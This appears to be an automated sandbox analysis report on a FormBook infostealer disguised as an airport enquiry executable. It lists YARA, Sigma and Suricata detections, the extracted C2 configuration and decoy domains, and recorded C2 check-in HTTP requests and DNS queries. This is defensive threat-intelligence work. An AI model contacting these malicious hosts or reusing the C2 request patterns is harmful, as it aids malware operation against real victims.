0.2.New Al Maktoum International Airport Enquiry Ref #2401249.exe.3af0000.1.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8b08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8d82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x148b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x143a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x149b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x14b2f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x979a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1361c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa493:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1ab27:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1bb2a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
0.2.New Al Maktoum International Airport Enquiry Ref #2401249.exe.3af0000.1.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x17a49:$sqlite3step: 68 34 1C 7B E1 0x17b5c:$sqlite3step: 68 34 1C 7B E1 0x17a78:$sqlite3text: 68 38 2A 90 C5 0x17b9d:$sqlite3text: 68 38 2A 90 C5 0x17a8b:$sqlite3blob: 68 53 D8 7F 8C 0x17bb3:$sqlite3blob: 68 53 D8 7F 8C
Click to see the 10 entries

Sigma Signatures

System Summary

Sigma detected: Uncommon Svchost Parent Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe", CommandLine: "C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe", ParentImage: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe, ParentProcessId: 7428, ParentProcessName: New Al Maktoum International Airport Enquiry Ref #2401249.exe, ProcessCommandLine: "C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe", ProcessId: 7456, ProcessName: svchost.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: "C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe", CommandLine: "C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe", ParentImage: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe, ParentProcessId: 7428, ParentProcessName: New Al Maktoum International Airport Enquiry Ref #2401249.exe, ProcessCommandLine: "C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe", ProcessId: 7456, ProcessName: svchost.exe

Suricata Signatures

ET MALWARE FormBook CnC Checkin (GET) - Source IP: 192.168.2.4 - Destination IP: 104.18.24.121

Timestamp:	2024-08-27T10:51:57.291670+0200
SID:	2031412
Severity:	1
Source Port:	49737
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE FormBook CnC Checkin (GET) - Source IP: 192.168.2.4 - Destination IP: 104.18.24.121

Timestamp:	2024-08-27T10:51:57.291670+0200
SID:	2031449
Severity:	1
Source Port:	49737
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE FormBook CnC Checkin (GET) - Source IP: 192.168.2.4 - Destination IP: 104.18.24.121

Timestamp:	2024-08-27T10:51:57.291670+0200
SID:	2031453
Severity:	1
Source Port:	49737
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE FormBook CnC Checkin (GET) - Source IP: 192.168.2.4 - Destination IP: 103.235.46.96

Timestamp:	2024-08-27T10:53:20.668970+0200
SID:	2031412
Severity:	1
Source Port:	49738
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE FormBook CnC Checkin (GET) - Source IP: 192.168.2.4 - Destination IP: 103.235.46.96

Timestamp:	2024-08-27T10:53:20.668970+0200
SID:	2031449
Severity:	1
Source Port:	49738
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE FormBook CnC Checkin (GET) - Source IP: 192.168.2.4 - Destination IP: 103.235.46.96

Timestamp:	2024-08-27T10:53:20.668970+0200
SID:	2031453
Severity:	1
Source Port:	49738
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE FormBook CnC Checkin (GET) - Source IP: 192.168.2.4 - Destination IP: 76.223.105.230

Timestamp:	2024-08-27T10:50:53.816844+0200
SID:	2031412
Severity:	1
Source Port:	49739
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE FormBook CnC Checkin (GET) - Source IP: 192.168.2.4 - Destination IP: 76.223.105.230

Timestamp:	2024-08-27T10:50:53.816844+0200
SID:	2031449
Severity:	1
Source Port:	49739
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE FormBook CnC Checkin (GET) - Source IP: 192.168.2.4 - Destination IP: 76.223.105.230

Timestamp:	2024-08-27T10:50:53.816844+0200
SID:	2031453
Severity:	1
Source Port:	49739
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE FormBook CnC Checkin (GET) - Source IP: 192.168.2.4 - Destination IP: 104.18.23.89

Timestamp:	2024-08-27T10:54:21.642054+0200
SID:	2031412
Severity:	1
Source Port:	49741
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE FormBook CnC Checkin (GET) - Source IP: 192.168.2.4 - Destination IP: 104.18.23.89

Timestamp:	2024-08-27T10:54:21.642054+0200
SID:	2031449
Severity:	1
Source Port:	49741
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE FormBook CnC Checkin (GET) - Source IP: 192.168.2.4 - Destination IP: 104.18.23.89

Timestamp:	2024-08-27T10:54:21.642054+0200
SID:	2031453
Severity:	1
Source Port:	49741
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE FormBook CnC Checkin (GET) - Source IP: 192.168.2.4 - Destination IP: 103.224.212.214

Timestamp:	2024-08-27T10:54:01.377326+0200
SID:	2031412
Severity:	1
Source Port:	49740
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE FormBook CnC Checkin (GET) - Source IP: 192.168.2.4 - Destination IP: 103.224.212.214

Timestamp:	2024-08-27T10:54:01.377326+0200
SID:	2031449
Severity:	1
Source Port:	49740
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE FormBook CnC Checkin (GET) - Source IP: 192.168.2.4 - Destination IP: 103.224.212.214

Timestamp:	2024-08-27T10:54:01.377326+0200
SID:	2031453
Severity:	1
Source Port:	49740
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://www.dreziuy.xyz	Avira URL Cloud: Label: malware
Source: http://www.iiixc759q.xyz/pt46/	Avira URL Cloud: Label: malware
Source: http://www.iiixc759q.xyz/pt46/www.sliveringaf.christmas	Avira URL Cloud: Label: malware
Source: http://www.arlatwestern.shop	Avira URL Cloud: Label: phishing
Source: http://www.arlatwestern.shop/pt46/www.betbox2341.com	Avira URL Cloud: Label: phishing
Source: http://www.dreziuy.xyz/pt46/www.af28.top	Avira URL Cloud: Label: malware
Source: http://www.arlatwestern.shop/pt46/?ara=0RpqK4N+sKWumQPIkFOTbgKQJXSBpFKqwGjlCYY5Ihaqw+DawbshP/fsCF3RmMSwrLNm&D8V=_FNDAz	Avira URL Cloud: Label: phishing
Source: http://www.dreziuy.xyz/pt46/	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000001.00000002.1732540303.0000000002D80000.00000040.10000000.00040000.00000000.sdmp

Malware Configuration Extractor: FormBook {"C2 list": ["www.wheresthechocolateat.com/pt46/"], "decoy": ["twinportslocal.com", "rovor.store", "98169.club", "mdywl.com", "jrd3s.rest", "aston1717.top", "floridawoodworkingmachinery.com", "17tk555t.com", "ankitsho.shop", "seclameh.com", "realrecordlabel.com", "trenchonbirmingham.com", "af28.top", "rtp1kenzototo.com", "theselflovesite.com", "promotegetpaid.info", "strategiclogisticsagency.com", "learneracademy.net", "per-watch.com", "betbox2341.com", "22958.xyz", "birthdaywishestexts.com", "nihilculturamail.com", "vasymaman.com", "evriukpostaes.sbs", "winkingbots.com", "cb214.pro", "osakanacreation.com", "kingchuxing.com", "dr-cotton.net", "iiixc759q.xyz", "eraplay88rtpgacor.lat", "wguujb.com", "dental-implants-89083.bond", "liposuction-89237.bond", "harbalmaizik.com", "seoservicesdelhi.net", "fakefox.xyz", "wimetimephotos.com", "healthsaveplus.com", "wvufcw948o.top", "dieselrockpartners.com", "istchannelnet.com", "123moviesonl.com", "arlatwestern.shop", "cloudproduction.cloud", "gv3l1.vip", "casino-x-zerkalo27pm.xyz", "serverdayz.com", "dvdripguides.com", "vitalfitness.site", "c21candacedevillier.com", "gory12.online", "0452frl.com", "escpethemtrix.top", "koumimi.tech", "me29hs38g1.com", "dreziuy.xyz", "uddyen.shop", "asia76s.xyz", "melliccine.com", "olxelang.com", "paincareathome.com", "sliveringaf.christmas"]}

Multi AV Scanner detection for domain / URL

Source: http://www.sliveringaf.christmas/pt46/	Virustotal: Detection: 5%			Perma Link
Source: http://www.theselflovesite.com/pt46/	Virustotal: Detection: 5%			Perma Link

Multi AV Scanner detection for submitted file

Source: New Al Maktoum International Airport Enquiry Ref #2401249.exe	ReversingLabs: Detection: 31%
Source: New Al Maktoum International Airport Enquiry Ref #2401249.exe	Virustotal: Detection: 29%			Perma Link

Yara detected FormBook

Source: Yara match	File source: 0.2.New Al Maktoum International Airport Enquiry Ref #2401249.exe.3af0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.svchost.exe.2670000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.New Al Maktoum International Airport Enquiry Ref #2401249.exe.3af0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.1732540303.0000000002D80000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1732135367.0000000002671000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1732565448.0000000002DB0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4131140832.0000000004D60000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1688631201.0000000003AF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4130578535.0000000003100000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4131191580.0000000004D90000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: New Al Maktoum International Airport Enquiry Ref #2401249.exe

Joe Sandbox ML: detected

Source: New Al Maktoum International Airport Enquiry Ref #2401249.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source:	Binary string: msiexec.pdb source: svchost.exe, 00000001.00000003.1731890191.0000000002A3C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1732589593.0000000002DE0000.00000040.10000000.00040000.00000000.sdmp, svchost.exe, 00000001.00000003.1731832178.0000000002A1B000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, msiexec.exe, 00000003.00000002.4130359525.0000000000970000.00000040.80000000.00040000.00000000.sdmp
Source:	Binary string: msiexec.pdbGCTL source: svchost.exe, 00000001.00000003.1731890191.0000000002A3C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1732589593.0000000002DE0000.00000040.10000000.00040000.00000000.sdmp, svchost.exe, 00000001.00000003.1731832178.0000000002A1B000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000003.00000002.4130359525.0000000000970000.00000040.80000000.00040000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: New Al Maktoum International Airport Enquiry Ref #2401249.exe, 00000000.00000003.1677807902.0000000003F60000.00000004.00001000.00020000.00000000.sdmp, New Al Maktoum International Airport Enquiry Ref #2401249.exe, 00000000.00000003.1681546736.0000000004130000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1679568145.0000000002C00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1732726618.000000000319E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1685637489.0000000002E00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1732726618.0000000003000000.00000040.00001000.00020000.00000000.sdmp, msiexec.exe, 00000003.00000002.4131442242.000000000514E000.00000040.00001000.00020000.00000000.sdmp, msiexec.exe, 00000003.00000003.1732637113.0000000004C52000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000003.00000003.1734235728.0000000004E07000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000003.00000002.4131442242.0000000004FB0000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: New Al Maktoum International Airport Enquiry Ref #2401249.exe, 00000000.00000003.1677807902.0000000003F60000.00000004.00001000.00020000.00000000.sdmp, New Al Maktoum International Airport Enquiry Ref #2401249.exe, 00000000.00000003.1681546736.0000000004130000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000001.00000003.1679568145.0000000002C00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1732726618.000000000319E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1685637489.0000000002E00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1732726618.0000000003000000.00000040.00001000.00020000.00000000.sdmp, msiexec.exe, msiexec.exe, 00000003.00000002.4131442242.000000000514E000.00000040.00001000.00020000.00000000.sdmp, msiexec.exe, 00000003.00000003.1732637113.0000000004C52000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000003.00000003.1734235728.0000000004E07000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000003.00000002.4131442242.0000000004FB0000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: explorer.exe, 00000002.00000002.4144395601.0000000010E1F000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000003.00000002.4130764013.00000000031D7000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000003.00000002.4132018408.00000000054FF000.00000004.10000000.00040000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: explorer.exe, 00000002.00000002.4144395601.0000000010E1F000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000003.00000002.4130764013.00000000031D7000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000003.00000002.4132018408.00000000054FF000.00000004.10000000.00040000.00000000.sdmp

Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	Code function: 0_2_00CE4696 GetFileAttributesW,FindFirstFileW,FindClose,	0_2_00CE4696
Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	Code function: 0_2_00CEC9C7 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	0_2_00CEC9C7
Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	Code function: 0_2_00CEC93C FindFirstFileW,FindClose,	0_2_00CEC93C
Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	Code function: 0_2_00CEF200 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00CEF200
Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	Code function: 0_2_00CEF35D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00CEF35D
Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	Code function: 0_2_00CEF65E FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	0_2_00CEF65E
Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	Code function: 0_2_00CE3A2B FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_00CE3A2B
Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	Code function: 0_2_00CE3D4E FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_00CE3D4E
Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	Code function: 0_2_00CEBF27 FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	0_2_00CEBF27

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2031412 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) : 192.168.2.4:49740 -> 103.224.212.214:80
Source: Network traffic	Suricata IDS: 2031412 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) : 192.168.2.4:49737 -> 104.18.24.121:80
Source: Network traffic	Suricata IDS: 2031412 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) : 192.168.2.4:49741 -> 104.18.23.89:80
Source: Network traffic	Suricata IDS: 2031449 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) : 192.168.2.4:49740 -> 103.224.212.214:80
Source: Network traffic	Suricata IDS: 2031449 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) : 192.168.2.4:49741 -> 104.18.23.89:80
Source: Network traffic	Suricata IDS: 2031449 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) : 192.168.2.4:49737 -> 104.18.24.121:80
Source: Network traffic	Suricata IDS: 2031453 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) : 192.168.2.4:49740 -> 103.224.212.214:80
Source: Network traffic	Suricata IDS: 2031453 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) : 192.168.2.4:49741 -> 104.18.23.89:80
Source: Network traffic	Suricata IDS: 2031453 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) : 192.168.2.4:49737 -> 104.18.24.121:80
Source: Network traffic	Suricata IDS: 2031412 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) : 192.168.2.4:49738 -> 103.235.46.96:80
Source: Network traffic	Suricata IDS: 2031449 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) : 192.168.2.4:49738 -> 103.235.46.96:80
Source: Network traffic	Suricata IDS: 2031453 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) : 192.168.2.4:49738 -> 103.235.46.96:80
Source: Network traffic	Suricata IDS: 2031412 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) : 192.168.2.4:49739 -> 76.223.105.230:80
Source: Network traffic	Suricata IDS: 2031449 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) : 192.168.2.4:49739 -> 76.223.105.230:80
Source: Network traffic	Suricata IDS: 2031453 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) : 192.168.2.4:49739 -> 76.223.105.230:80

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Network Connect: 103.224.212.214 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 76.223.105.230 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 104.18.23.89 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 103.235.46.96 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 104.18.24.121 80	Jump to behavior

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: www.wheresthechocolateat.com/pt46/

Performs DNS queries to domains with low reputation

Source:	DNS query: www.iiixc759q.xyz
Source:	DNS query: www.iiixc759q.xyz
Source:	DNS query: www.iiixc759q.xyz
Source:	DNS query: www.iiixc759q.xyz

Source: global traffic	HTTP traffic detected: GET /pt46/?ara=0RpqK4N+sKWumQPIkFOTbgKQJXSBpFKqwGjlCYY5Ihaqw+DawbshP/fsCF3RmMSwrLNm&D8V=_FNDAz HTTP/1.1Host: www.arlatwestern.shopConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /pt46/?ara=runx2q514acjuuceA0OTyKdTIzcy0YcAOvUMICEfyLgC3vUfTcW2aWKxfLyo5+IB4FDn&D8V=_FNDAz HTTP/1.1Host: www.wvufcw948o.topConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /pt46/?ara=QVbB1/DxL/c6NkCuk8rWfFSxGk6qL/qIHQ35N54fxEy/BWtxzW12LUdW++4CHG2+1qqv&D8V=_FNDAz HTTP/1.1Host: www.wheresthechocolateat.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /pt46/?ara=ssXGlCK/Wr83GZj+/MTEyAbCjYKb/LDYuNd6sJpjn9vteR/o4Disu/XP81BMj74Ur0OQ&D8V=_FNDAz HTTP/1.1Host: www.serverdayz.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /pt46/?ara=RFlzK8LCC7FuO7cJ0ecz1aHzXPpVQPZoCqNi80z/o3n5SIq8wUQ5l6Qg5p0kwtIsH7m9&D8V=_FNDAz HTTP/1.1Host: www.theselflovesite.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Source: Joe Sandbox View	IP Address: 103.224.212.214 103.224.212.214
Source: Joe Sandbox View	IP Address: 76.223.105.230 76.223.105.230

Source: Joe Sandbox View	ASN Name: TRELLIAN-AS-APTrellianPtyLimitedAU TRELLIAN-AS-APTrellianPtyLimitedAU
Source: Joe Sandbox View	ASN Name: AMAZON-02US AMAZON-02US
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe

Code function: 0_2_00CF25E2 InternetReadFile,InternetQueryDataAvailable,InternetReadFile,

0_2_00CF25E2

Source: global traffic	HTTP traffic detected: GET /pt46/?ara=0RpqK4N+sKWumQPIkFOTbgKQJXSBpFKqwGjlCYY5Ihaqw+DawbshP/fsCF3RmMSwrLNm&D8V=_FNDAz HTTP/1.1Host: www.arlatwestern.shopConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /pt46/?ara=runx2q514acjuuceA0OTyKdTIzcy0YcAOvUMICEfyLgC3vUfTcW2aWKxfLyo5+IB4FDn&D8V=_FNDAz HTTP/1.1Host: www.wvufcw948o.topConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /pt46/?ara=QVbB1/DxL/c6NkCuk8rWfFSxGk6qL/qIHQ35N54fxEy/BWtxzW12LUdW++4CHG2+1qqv&D8V=_FNDAz HTTP/1.1Host: www.wheresthechocolateat.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /pt46/?ara=ssXGlCK/Wr83GZj+/MTEyAbCjYKb/LDYuNd6sJpjn9vteR/o4Disu/XP81BMj74Ur0OQ&D8V=_FNDAz HTTP/1.1Host: www.serverdayz.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /pt46/?ara=RFlzK8LCC7FuO7cJ0ecz1aHzXPpVQPZoCqNi80z/o3n5SIq8wUQ5l6Qg5p0kwtIsH7m9&D8V=_FNDAz HTTP/1.1Host: www.theselflovesite.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Source: global traffic	DNS traffic detected: DNS query: www.strategiclogisticsagency.com
Source: global traffic	DNS traffic detected: DNS query: www.arlatwestern.shop
Source: global traffic	DNS traffic detected: DNS query: www.betbox2341.com
Source: global traffic	DNS traffic detected: DNS query: www.af28.top
Source: global traffic	DNS traffic detected: DNS query: www.wvufcw948o.top
Source: global traffic	DNS traffic detected: DNS query: www.wheresthechocolateat.com
Source: global traffic	DNS traffic detected: DNS query: www.serverdayz.com
Source: global traffic	DNS traffic detected: DNS query: www.theselflovesite.com
Source: global traffic	DNS traffic detected: DNS query: www.iiixc759q.xyz
Source: global traffic	DNS traffic detected: DNS query: www.sliveringaf.christmas

Source: explorer.exe, 00000002.00000003.3106633874.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3460584807.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1692654831.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1691155621.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.4133281259.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3106730980.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.4135304707.000000000982D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
Source: explorer.exe, 00000002.00000003.3106633874.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3460584807.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1692654831.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1691155621.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.4133281259.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3106730980.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.4135304707.000000000982D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
Source: explorer.exe, 00000002.00000003.3106633874.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3460584807.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1692654831.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1691155621.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.4133281259.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3106730980.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.4135304707.000000000982D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
